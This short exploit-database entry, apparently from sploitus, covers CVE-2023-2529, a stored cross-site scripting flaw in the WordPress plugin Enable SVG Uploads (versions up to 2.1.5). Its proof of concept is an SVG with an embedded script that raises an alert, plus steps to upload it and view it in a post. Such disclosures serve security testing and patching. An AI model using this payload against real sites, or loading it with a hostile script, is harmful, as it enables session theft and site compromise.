Exploit for Enable SVG Uploads <= 2.1.5 - Author+ Stored XSS via SVG CVE-2023-2529

Name: Exploit for Enable SVG Uploads <= 2.1.5 - Author+ Stored XSS via SVG CVE-2023-2529
Rating: 5 (83 reviews)

2023-06-19 | CVSS 4.9

## https://sploitus.com/exploit?id=WPEX-ID:4AC03907-2373-48F0-BCA1-8F7073C06B18
1. Upload a malicious SVG: <svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg"> <script type="text/javascript"> alert("XSS Test"); </script> </svg>

2. Add to post and view SVG to see XSS.